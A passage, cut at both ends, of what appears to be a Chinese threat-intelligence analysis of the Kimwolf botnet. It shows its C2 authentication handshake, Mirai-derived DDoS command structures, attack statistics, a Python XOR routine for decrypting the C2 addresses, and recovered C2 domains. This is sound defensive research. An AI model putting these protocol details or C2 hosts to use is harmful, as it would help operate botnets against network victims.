sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">签名</span></p></li></ul><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="bash"><code><span leaf="">   <span class="code-snippet__comment">#Signature</span></span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf="">  00000000  30 45 02 20 14 ca ab 58 4d 88 b7 e2 26 f2 a0 80  |0E. .Ê«XM.·â&amp;ò .|</span></code><br/><code><span leaf="">  00000010  49 22 c9 b0 98 9e f4 2b f9 01 8e 4c 20 71 ed 17  |I<span class="code-snippet__string">&#34;É°..ô+ù..L qí.|</span></span></code><br/><code><span leaf="">  00000020  cc 57 b6 b4 02 21 00 e0 c7 92 cb 28 d8 c9 d7 66  |ÌW¶´.!.àÇ.Ë(ØÉ×f|</span></code><br/><code><span leaf="">  00000030  4f 1b d0 80 b8 35 26 dd 68 65 93 f2 69 13 13 e8  |O.Ð.¸5&amp;Ýhe.òi..è|</span></code><br/><code><span leaf="">  00000040  42 bd a7 6d a8 04 92                             |B½§m¨..|</span></code><br/></pre></p><pre data-pm-slice="0 0 []"><code></code></pre><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">当Bot收到Verify报文时，会使用硬编码的公钥验签。验证通过后即进入最终的Confirm阶段。Kimwolf的作者设计这一机制，本意是保护其C2网络不被他人接管。</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""> <span class="code-snippet__comment">#Publickey</span></span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf=""><span class="code-snippet__attribute">00000000</span>  <span class="code-snippet__number">30</span> <span class="code-snippet__number">59</span> <span class="code-snippet__number">30</span> <span class="code-snippet__number">13</span> <span class="code-snippet__number">06</span> <span class="code-snippet__number">07</span> <span class="code-snippet__number">2</span>a <span class="code-snippet__number">86</span> <span class="code-snippet__number">48</span> ce <span class="code-snippet__number">3</span>d <span class="code-snippet__number">02</span> <span class="code-snippet__number">01</span> <span class="code-snippet__number">06</span> <span class="code-snippet__number">08</span> <span class="code-snippet__number">2</span>a  |<span class="code-snippet__number">0</span>Y0...*.HÎ=....*|</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">00000010</span>  <span class="code-snippet__number">86</span> <span class="code-snippet__number">48</span> ce <span class="code-snippet__number">3</span>d <span class="code-snippet__number">03</span> <span class="code-snippet__number">01</span> <span class="code-snippet__number">07</span> <span class="code-snippet__number">03</span> <span class="code-snippet__number">42</span> <span class="code-snippet__number">00</span> <span class="code-snippet__number">04</span> ed <span class="code-snippet__number">6</span>a a0 <span class="code-snippet__number">57</span> <span class="code-snippet__number">2</span>d  |.HÎ=....B..íj W-|</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">00000020</span>  <span class="code-snippet__number">53</span> <span class="code-snippet__number">02</span> ce <span class="code-snippet__number">35</span> cc <span class="code-snippet__number">0</span>a <span class="code-snippet__number">04</span> <span class="code-snippet__number">93</span> <span class="code-snippet__number">2</span>d b4 <span class="code-snippet__number">86</span> c9 a8 e2 <span class="code-snippet__number">93</span> f5  |S.Î<span class="code-snippet__number">5</span>Ì...-´.É¨â.õ|</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">00000030</span>  <span class="code-snippet__number">69</span> <span class="code-snippet__number">07</span> <span class="code-snippet__number">86</span> <span class="code-snippet__number">0</span>f <span class="code-snippet__number">99</span> <span class="code-snippet__number">42</span> <span class="code-snippet__number">4</span>b a6 <span class="code-snippet__number">5</span>c <span class="code-snippet__number">12</span> <span class="code-snippet__number">7</span>a e7 <span class="code-snippet__number">12</span> <span class="code-snippet__number">48</span> <span class="code-snippet__number">56</span> ad  |i....BK¦\.zç.HV.|</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">00000040</span>  <span class="code-snippet__number">34</span> b5 ae <span class="code-snippet__number">92</span> ec <span class="code-snippet__number">98</span> c9 bc e1 d8 <span class="code-snippet__number">15</span> dc <span class="code-snippet__number">6</span>e <span class="code-snippet__number">1</span>c <span class="code-snippet__number">59</span> <span class="code-snippet__number">1</span>b  |<span class="code-snippet__number">4</span>µ®.ì.É¼áØ.Ün.Y.|</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">00000050</span>  be <span class="code-snippet__number">96</span> b8 a9 <span class="code-snippet__number">5</span>b <span class="code-snippet__number">95</span> <span class="code-snippet__number">46</span> <span class="code-snippet__number">34</span> <span class="code-snippet__number">19</span> <span class="code-snippet__number">5</span>a d2                 |¾.¸©[.F4.ZÒ|</span></code><br/></pre></p><pre><code></code></pre><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">Step3: Confirm, Bot -&gt; C2</span></span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Bot将运行时传入的第一个参数做为分组标识，并按照GroupBody结构进行构造，上报给C2。示例使用的分组字串为“android-postboot-rt“。</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="go"><code><span leaf=""><span class="code-snippet__keyword">type</span> GroupBody <span class="code-snippet__keyword">struct</span> {</span></code><br/><code><span leaf="">	MsgLen <span class="code-snippet__type">uint32</span></span></code><br/><code><span leaf="">	Group    []<span class="code-snippet__type">byte</span></span></code><br/><code><span leaf="">}</span></code><br/></pre></p><pre><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">Step3 : Confirm, C2 -&gt; BOT</span></span></code></pre><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">C2服务器在收到Bot的Confirm报文后，会查验其所属分组是否已预先在活动中启用。若匹配成功，则确认该Bot身份合法，并向其回传一个Confirm响应报文。该响应报文的MsgType字段值为2，且MsgID、BodyLen、CRC32字段均置为0。</span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">经过以上流程之后，Bot和C2才算完成双完身份的认证，Bot开始等待执行C2发下的指令。当指令号是12时，Kimwolf执行DDoS相关功能，相信熟悉Mirai的读者看到DDoSBody的肯定会心一笑，该结构正是源于Mirai。</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="go"><code><span leaf="">Type DDoSBody <span class="code-snippet__keyword">struct</span> {</span></code><br/><code><span leaf="">	AtkID     <span class="code-snippet__type">uint32</span></span></code><br/><code><span leaf="">	AtkType   <span class="code-snippet__type">uint8</span></span></code><br/><code><span leaf="">	Duration  <span class="code-snippet__type">uint32</span></span></code><br/><code><span leaf="">	TargetCnt <span class="code-snippet__type">uint32</span></span></code><br/><code><span leaf="">	Targets   []Target</span></code><br/><code><span leaf="">	FlagCnt   <span class="code-snippet__type">uint32</span></span></code><br/><code><span leaf="">	Flags     []Flag</span></code><br/><code><span leaf="">}</span></code><br/></pre></p><pre><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">以下为Kimwolf支持的13种DDoS 攻击方法。</span></code></pre><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000687" alt="kimwolf_vector.png" class="rich_pages wxw-img" data-ratio="1.1983758700696057" data-type="png" data-w="862" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=a8927d98&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbh08mn9wNNbebib4FQGV96YMauypJaM0X9ichjNcC2Km4p3nXz22WkhKNNHjWVqfM5sUwKZxm9ibLfbA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><h1><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">指令跟踪</span></span></h1><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">从Xlab的数据看Kimwolf僵尸网络的主要指令是利用Bot节点提供代理服务，占所有指令的96.5%。其余为DDoS攻击指令。DDoS攻击目标遍布全球各个行业。攻击目标主要集中在美国、中国、法国、德国、加拿大等地区。</span></p><figure><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><img data-imgfileid="100000685" alt="cmdtypeimags" class="rich_pages wxw-img" data-ratio="0.5" data-type="png" data-w="686" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 16px;margin: 0px;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;width: 720px;" src="https://wechat2rss.xlab.app/img-proxy/?k=c3edc7d3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbh08mn9wNNbebib4FQGV96YMXvgic9x7VYiaVPycG03nWo7UVibba9O90LFHRmuBBtzHStUvEJZ7jZefA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><figure></figure><h2><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">迷之攻击，3天17亿</span></span></h2><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">11月19日到22日，Kimwolf在短短的3天时间内，下发了高达</span><strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">17亿条指令</span></strong><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">，随机攻击全球大量IP地址。我们不清楚它为什么会有这种让人迷惑的攻击行为，因为这些攻击可能也无法对目标地址造成实质性的伤害。甚至一度怀疑是不是我们自己产生的BUG导致了这些异常。直到与我们多家头部云服务商进行数据核验后，才最终确认——Kimwolf 就是这么疯狂，它确实是扫射了整个互联网。</span></p><figure><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><img data-imgfileid="100000688" alt="cmdtypeimags" class="rich_pages wxw-img" data-ratio="0.32314923619271446" data-type="png" data-w="851" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 16px;margin: 0px;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;width: 720px;" src="https://wechat2rss.xlab.app/img-proxy/?k=22a81102&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbh08mn9wNNbebib4FQGV96YMDGMYnpkCXIdjvnC6SpSGqJic77gNzNgetfCiarTcgpj87p4bbzxkTX3w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><figure></figure><h2><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">嚣张的攻击Payload</span></span></h2><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Kimwolf时常在DDoS的Payload中夹带各种嘲笑，挑衅，甚至勒索信息。</span></p><ul class="list-paddingleft-1"><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">嘲讽</span></p></li></ul><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000693" alt="kimwolf_bad_cmd_2.png" class="rich_pages wxw-img" data-ratio="0.5106966538672518" data-type="png" data-w="1823" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=44de0157&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbh08mn9wNNbebib4FQGV96YM8tkg6ib3T9V9mSibImRaAvmO7iamAa9rzWrerfPmmG28JthDQwX6GpJzQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><ul class="list-paddingleft-1"><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">挑衅</span></p></li></ul><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000691" alt="kimwolf_bad_cmd_1.png" class="rich_pages wxw-img" data-ratio="0.2886201209455745" data-type="png" data-w="1819" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=7f2deb14&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbh08mn9wNNbebib4FQGV96YMXpAHAp5q0HcvITSjKFT206wCiaWL8FHReGJWpIGw3gEsyicvoPKc8lIQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><ul class="list-paddingleft-1"><li><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">勒索</span></p></li></ul><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000692" alt="kimwolf_ransom_cmd.png" class="rich_pages wxw-img" data-ratio="0.3498233215547703" data-type="png" data-w="1698" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=29c517a8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbh08mn9wNNbebib4FQGV96YM02wVxQXFgopSQUcMw2jU9LnHoDZh66bj3gIGVdof1BZGEB22hqztGg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><h1><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 24px;font-weight: bold;">额外的组件</span></span></h1><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">在此次活动中，攻击者了为了最大限度的榨干被入侵设备的带宽，利益最大化。除了Kimwolf和Aisuru之后，还投入了Rust语言实现的Command Client以及ByteConnect SDK。</span></p><h4><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-weight: bold;">1: Command Client</span></span></h4><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">Command Client的目的是组建代理网络，它以代理 socks 为目标, 从 C2 接收代理请求, 并将代理结果返回给 C2。</span></p><p style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;" nodeleaf=""><img data-imgfileid="100000690" alt="kimwolf_ruststr.png" class="rich_pages wxw-img" data-ratio="0.2122844827586207" data-type="png" data-w="928" style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;line-height: inherit;font-family: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;font-size: 20px;margin: 0px auto;padding: 0px;vertical-align: middle;display: block;height: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=ba93d518&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FI28micxvFPbh08mn9wNNbebib4FQGV96YMPDajI9sajuicZQ8RE2ycJtXIFUoTxUmic1v28ZdNLkyOjzicCZmtm26bA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">样本会将 CC 地址以密文形式保存在 rodata 段, 解密算法并不复杂, 为同长密码表的按字节异或.</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""><span class="code-snippet__attribute">def</span> dec(encbts):</span></code><br/><code><span leaf="">    <span class="code-snippet__attribute">tb1_off</span> = <span class="code-snippet__number">0</span></span></code><br/><code><span leaf="">    <span class="code-snippet__attribute">tb2_off</span> = <span class="code-snippet__number">0</span>x058BCD2 - <span class="code-snippet__number">0</span>x058BCA0</span></code><br/><code><span leaf="">    <span class="code-snippet__attribute">bts</span> =<span class="code-snippet__meta"> []</span></span></code><br/><code><span leaf="">    <span class="code-snippet__attribute">for</span> i in range(<span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>x30*<span class="code-snippet__number">4</span>):</span></code><br/><code><span leaf="">        <span class="code-snippet__attribute">bts</span>.append(chr(encbts[tb1_off+i] ^ encbts[tb2_off+i]))</span></code><br/><code><span leaf="">    <span class="code-snippet__attribute">return</span>(<span class="code-snippet__string">&#34;&#34;</span>.join(bts[:<span class="code-snippet__number">0</span>x32]))</span></code><br/></pre></p><pre><code><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;">基于我们手中的样本, 可还原出两条CC地址, 分别如下:</span></code></pre><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""><span class="code-snippet__attribute">proxy</span>-sdk.<span class="code-snippet__number">14</span>emeliaterracewestroxburyma02132.su:<span class="code-snippet__number">443</span></span></code><br/><code><span leaf=""><span class="code-snippet__attribute">sdk</span>-bright.<span class="code-snippet__number">14</span>emeliaterracewestroxburyma02132.su:<span 